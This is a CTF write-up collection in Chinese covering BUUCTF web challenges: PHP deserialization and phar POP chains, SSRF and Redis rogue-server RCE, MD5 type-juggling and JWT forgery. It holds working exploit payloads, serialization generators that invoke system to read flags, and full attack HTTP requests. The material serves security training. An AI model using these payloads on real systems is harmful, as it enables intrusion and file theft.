$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

看到有个 Test 类 __destruct 销毁的时候会调用 gettime 代码执行。思路就是利用代码执行反序列化绕过过滤,形成代码执行

EXP

序列化生成脚本

1
2
3
4
5
6
7
8
class Test
{
var $p = "cat /tmp/flagoefiu4r93";#"find / -name flag*";
var $func = "system";
}

$a = new Test();
echo (serialize($a));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: 268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81
Connection: close
Referer: http://268ed688-c16e-4fbf-aece-05d437be041e.node4.buuoj.cn:81/index.php
Cookie: _ga=GA1.2.840238127.1644300703; UM_distinctid=17edec8c18ab36-01b6a676e5e3c78-455b68-13c680-17edec8c18be2e
Upgrade-Insecure-Requests: 1

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[极客大挑战 2019]PHP

dirmap 扫出备份文件 www.zip 得到源码,index.php 存在反序列化:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

几个魔术方法:

  • __construct:类的构造函数,在实例化类时自动调用
  • __destruct:在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用
  • __wakeup:若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)
  • __sleep():当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()

这里需要将 username 和 password 覆盖成 admin 和 100 ,这里通过序列化完成。

__wakeup 绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行

1
2
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//"Name":2 表示属性个数

EXP

序列化生成,url编码输出结果

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Name{
private $username = "admin";
private $password = "100";
}

$a = new Name();
echo urlencode(serialize($a));
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

//修改属性个数为3
//O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

提交请求:

1
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[网鼎杯 2020 青龙组]AreUSerialz

题目源码如下,入口在对 $str 的反序列化,flag 获取在 process 函数,这个函数在 __construct 和 __destruct 两个魔术方法,通过反序列化自然不会涉及 __construct ,在变量销毁时会调用 __destruct。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

使用 read 函数读取 flag 需要 if($this->op == "2") ,而 __destruct 存在一个强类型比较,会将 $op 修改。

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

这是是第一层需要绕过的地方–弱类型比较,将 $this->op = 2 :op===“2” 为 false ,op==“2” 为 true。序列化输出字符串:O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D 有 %00 会被过滤:

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

查看发现是 protected 属性引入的 \x00*\x00

image-20220323234714365

绕过方法:

  1. PHP7.1 以上版本对属性类型不敏感,public 属性序列化不会出现不可见字符,可以用 public 属性来绕过

  2. private 属性序列化的时候会引入 \x00\x00 ,注意这两个 \x00 就是 ascii 码为 0 的字符(这个字符显示和输出可能看不到,甚至导致截断,但是 url 编码后就可以看得很清楚了)。

    protected 属性会引入 \x00*\x00 。此时,为了更加方便进行反序列化 Payload 的传输与显示,我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示

    1
    2
    $origin = 'O:11:"FileHandler":2:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";}';
    $payload= 'O:11:"FileHandler":2:{S:5:"\x00*\x00op";i:2;S:11:"\x00*\x00filename";s:8:"flag.php";}'

EXP

1
2
3
4
5
6
7
8
class FileHandler
{
public $op = 2;
public $commont = "Hello";
}

$a = new FileHandler();
echo urlencode(serialize($a));

参考文章

https://blog.csdn.net/Oavinci/article/details/106998738

[安洵杯 2019]easy_serialize_php:反序列化字符串逃逸

访问靶机很容易就能得到源码,这里不贴源码了。按照代码执行顺序记录一下出现的问题。

将 SESSION 释放再重新定义元素,extract($_POST); 可以覆盖变量。

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

Show_image 是任意文件读取,最后用于读取 flag 。通过分析知道需要控制 $_SESSION['img'] 的值为 base64 加密的 flag 文件名,img 键值对在 if else 判断处被赋值,sha1 加密在 base64 解密显然不可能被控制为 flag 文件名,这里行不通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

extract 覆盖 $_SESSION 元素也不可行。extract 运行比 if else 要早,img 键值对最后赋值还是看 if else。

问题在 $_SESSION 序列化后会经过过滤,这个 filter 会导致反序列化字符串变短,会引起逃逸。

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

逃逸原理看[[反序列化#键逃逸|反序列化总结文章]],这里不重复了。

先控制 $function == ‘phpinfo’ 得到 d0g3_f1ag.php ,访问得到 flag 文件名

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?f=show_image HTTP/1.1
Host: b15000d2-17f8-4192-9d11-5cc02e02256e.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://b15000d2-17f8-4192-9d11-5cc02e02256e.node4.buuoj.cn:81/
Connection: close
Cookie: _ga=GA1.2.840238127.1644300703; UM_distinctid=17edec8c18ab36-01b6a676e5e3c78-455b68-13c680-17edec8c18be2e
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?f=show_image HTTP/1.1
Host: b15000d2-17f8-4192-9d11-5cc02e02256e.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://b15000d2-17f8-4192-9d11-5cc02e02256e.node4.buuoj.cn:81/
Connection: close
Cookie: _ga=GA1.2.840238127.1644300703; UM_distinctid=17edec8c18ab36-01b6a676e5e3c78-455b68-13c680-17edec8c18be2e
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

_SESSION['phpflag']=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[SWPUCTF 2018]SimplePHP phar反序列化

打开后发现功能简单,通过观察 url 发现查看文件功能可以泄露源码:

1
http://87dc80a7-fc8a-4e3e-ab89-f428dde00304.node4.buuoj.cn:81/file.php?file=<file_name>

序列化,无 unserialize() ,文件上传,phar 协议未过滤。这是个 phar 的题。

上传功能没有啥特殊的,就是将文件名用 md5 加密后存放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
}
else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

pop链触发方法

首先找到让 pop 链触发的魔术方法

  • Class C1e4r __destruct()

    __destruct() 是 php 类的析构方法。析构方法在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。

    $this->str 赋值给 $this->test ,实际上 echo 输出的是 $this->str

    1
    2
    3
    4
    5
    public function __destruct()
    {
    $this->test = $this->str;
    echo $this->test;
    }
  • Class Show __toString()

    __toString 方法在将一个对象转化成字符串时被自动调用,比如进行 echo,print 操作时会被调用并返回一个字符串。

    1
    2
    3
    4
    5
    public function __toString()
    {
    $content = $this->str['str']->source;
    return $content;
    }
  • Class Test __get()

    读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

    这里调用 __get() 时,调用 get() 函数从 params[] 寻找值,将找到的 $value 用 file_get() base64_encode(file_get_contents($value)); 打开读取。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public function __get($key)
    {
    return $this->get($key);

    }
    public function get($key)
    {
    if(isset($this->params[$key])) {
    $value = $this->params[$key];
    } else {
    $value = "index.php";
    }
    return $this->file_get($value);
    }
    public function file_get($value)
    {
    $text = base64_encode(file_get_contents($value));
    return $text;
    }

结合前面提示 flag 在 f1ag.php 里面,确定最后需要走到 file_get_contents 读取文件内容。

__construct、__destruct、__toString、__set 等等在这些能够自主触发作为 pop 链开头的是 __destruct() 。整个 pop 链:

1
2
C1e4r::destruct() --> Show::toString() --> Test::__get()
--> Test::get() --> Test::file_get()

pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$test->params['source'] = "/var/www/html/f1ag.php";


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

其余的绕过点

上传对后缀进行了过滤,改后缀 .phar.jpg

计算上传后的文件名:

1
2
3
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
//其中$_FILES["file"]["name"]=exp exp也就是咱萌上传文件的文件名,不带后缀
//$_SERVER["REMOTE_ADDR"]是设定好的174.0.0.201

最后 phar 协议,再 base64 解密:

1
http://7efe74be-6bff-44d3-9446-4f42cf4ad49b.node4.buuoj.cn:81/file.php?file=phar://upload/0f1dc80f2ea2199519442d199a97b2fb.jpg

SSRF

[De1CTF 2019]SSRF Me

hint: flag is in ./flag.txt

打开获得源码,格式化后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

# 验证param与签名是否对应
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

# param与秘钥拼接返回MD5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))#scan
param = urllib.unquote(request.args.get("param", ""))#自定义
sign = urllib.unquote(request.cookies.get("sign"))#合成字符串MD5
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
# action = "scan"
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
# 转换大小写
check=param.strip().lower()
# 禁止两种协议
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

python2 flask 程序,路由有三个:

  • /
  • /geneSign
  • /De1ta

/geneSign 返回参数 param 与特定字符串拼接后获得的 MD5 sign :

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

/De1ta 初始化参数 action,param,sign 之后:

  1. param 过 waf 检查,ban gopher,file 协议。

  2. param 拼接字符串与 sign 校验。

  3. 根据 action 执行读或者写操作,使用 if in 判断存在问题:如果 action 同时含有 read 和 scan ,则会先读后写。

    成立条件“需要过 sign 校验”可以绕过,获取 sign 时传入参数:

    1
    /geneSign?param=flag.txtread

然后就是类对象最后调用 scan函数存在 ssrf ,urlopen 打开服务器本地文件:

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

最后 payload :

1
2
3
/De1ta?param=flag.txtread

//cookie:action=readscan;sign=7ea2085561bb2fb946a34b42b6423391;

image-20220208002218407

[网鼎杯 2020 玄武组]SSRFMe

打开获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
function check_inner_ip($url)
{
// 限定使用4种协议
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
// 分结构解析url
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
// 解析host对应ip
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
// 检测判断是否在局域网ip
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

// 非内网ip就会执行curl请求
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

curl 获取远程资料可存在 ssrf ,进入的前提需要过 check_inner_ip 检查,大致过程如下:

1
2
3
4
// 解析传入的url参数
$url_parse=parse_url($url);
// 将hostname进行解析
$ip=gethostbyname($hostname);

原题目设计是需要用 curl 和 parse_url 处理 url 存在的差异(blackhat paper),导致过滤后的 url 仍然触发 ssrf 。

curl & parse_url 小技巧具体分析:https://www.cnblogs.com/tr1ple/p/11137159.html

在这里插入图片描述

这题用不了这个技巧就大致记录:

1
2
3
4
5
php parse_url:
host: 匹配最后一个@后面符合格式的host

libcurl:
host:匹配第一个@后面符合格式的host

不能使用原因:新版本的 curl 将这个问题修了,加空格也没用。测试在 ubuntu16.04 自带的 curl 没有修复,ubuntu20.04 已经被修复。修复后的 curl 和 parse_url 一样匹配最后一个 @ 后面的内容。buu 靶机的 curl 被修了触发不了。

使用 0.0.0.0 代替,检查局域网 ip 漏掉了这个。读取 hint.php 文件:

1
?url=http://0.0.0.0/hint.php
1
2
3
4
5
6
7
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

redis 主从复制 rce

建立 redis rogue server :https://github.com/Dliv3/redis-rogue-server

payload :https://github.com/xmsec/redis-ssrf

修改 redis-ssrf ssrf-redis.py 监听机器 ip 端口、目标靶机 redis 密码、执行命令,然后生成 payload :

image-20220211103205304

对 payload 二次 url 编码:

image-20220211103254478

然后到自己的服务器上起一个 redis rogue server (现在 buu 靶机通外网):

1
python redis-rogue-server.py --server-only

image-20220211103629738

未知原因 exp.so 未传输到靶机上面,无法执行命令

参考文章

https://www.anquanke.com/post/id/86527

https://liotree.github.io/2020/07/10/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E7%8E%84%E6%AD%A6%E7%BB%84-SSRFMe/

https://www.cnblogs.com/karsa/p/14123995.html

https://blog.csdn.net/weixin_42345596/article/details/111312263

https://blog.csdn.net/weixin_43610673/article/details/106457180

Basic

[BJDCTF2020]Easy MD5

任意提交一个请求,抓取返回包获得 hint :

image-20220122235041623

提示 sql 查询语句:

1
select * from 'admin' where password=md5($pass,true)

MD5 函数定义如下:

参数 描述
string 必需。规定要计算的字符串。
charlist 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数注释:该参数是 PHP 5.0 中添加的。

默认情况下以 32 字符十六进制数输出,而题目设置输出以原始 16 字符二进制格式输出。直接举例看两种输出不一样在哪里:

1
2
3
4
<?php
$pass = "ffifdyop";
echo urlencode(md5($pass));//276f722736c95d99e921722cf9ed621c
echo urlencode(md5($pass,true));//'or'6�]��!r,��b

如果为 true 就将两个数字当作一个字节:

1
2
chr(0x27)=="'"
chr(0x6f)=="o"

当输入 ffifdyop md5 输出结构是:'or'6�]��!r,��b,sql 查询语句:

1
select * from 'admin' where password=''or'6�]��!r,��b'
  1. password 首尾两个 ' 是程序加的,意思将 MD5 加密结果当作字符串查询

  2. 最后的万能密码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    password=''or'6�]��!r,��b'
    🔽
    ''or'6�]��!r,��b'
    🔽
    '6�]��!r,��b'
    🔽
    首位不是0
    🔽
    true
    🔽
    password=''or true
    🔽
    万能密码

第二关是个 md5 弱类型比较:

1
2
3
4
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){

穿两个数组也能过:?a[]=1&b[]=2

第三关是个 md5 强类型比较:

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

也是传入两个数组(param1[]=1&param2[]=2) md5 不能加密数字报错返回值是 0 ,绕过成功

[极客大挑战 2019]Havefun:传参

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

[极客大挑战 2019]Http

F12 查看到 Secret.php ,然后依据提示依次设置 Referer、User-Agent、X-Forwarded-For

image-20211231000331676

[ACTF2020 新生赛]BackupFile

dirmap 扫源码泄露,buu 环境有限制扫描速度,修改 dirmap.conf request_limit 改小就好了。

1
?index.php.bak

== 弱类型比较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?hp
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

payload:?key=123

[极客大挑战 2019]BuyFlag

image-20220119172945395

F12 得到 hint :

1
2
3
4
5
6
7
8
9
//~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
  • Password 用弱类型比较绕过
  • money 科学计数法绕过
  • 还有个提示需要学生才能买,脑洞联想改 cookie user 等于 1

image-20220119173314373

[WUSTCTF2020]朴实无华

首页响应头提示 fl4g.php ,然后 3 层绕过:

  1. intval 函数绕过。科学计数法形式的字符串与数字进行四则运行会被转换为科学计数法表示的数字。

    1
    2
    3
    4
    var_dump(intval('2e4'));//2
    var_dump(intval('2e4'+1));//2001
    var_dump('2e4');//2e4
    var_dump('2e4'+1);//2001
  2. Md5 绕过。MD5 等于被加密对象本身。

    1
    0e215962017 == md5(0e215962017)
  3. 命令执行绕过。

    1
    get_flag=more%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 
1
/fl4g.php?num=2e4&md5=0e215962017&get_flag=more%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[MRCTF2020]PYWebsite

F12 查看源码,可知跳转到 flag.php ,且验证通过没其他操作。通过 flag.php 提示需要伪造 XFF 让请求来自本地。

image-20220127003148781

[BSidesCF 2019]Kookie

image-20220127155546122

[b01lers2020]Welcome to Earth

一直抓包看跳转的地址,最后得到 js 文件:

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item= permutations(flag) #对flag全排列,返回的是iterators(迭代器)

for i in item:
#print(i)
k="".join(i) #join连接成为字符串
#print(k)
if k.startswith('pctf{hey_boys') and k[-1]=='}':
print(k)

伪造 cookie 就好了,cookie 使用 base64 加密

[RootersCTF2019]ImgXweb

注册登录之后有个文件上传,可以上传 php 文件,但是访问之后是下载文件,不能解析 php 内容。

robots.txt 里面藏一个秘钥,看 cookie 长得很像 flask session 的格式,就用解密攻击解密一下得到:

1
{"alg":"HS256","typ":"JWT"}

查了一下是 jwt 伪造,到 https://jwt.io/ 在线攻击就好了

image-20220128151357523

最后用 view-source 看 flag 或者 curl 发起请求:

image-20220128151508659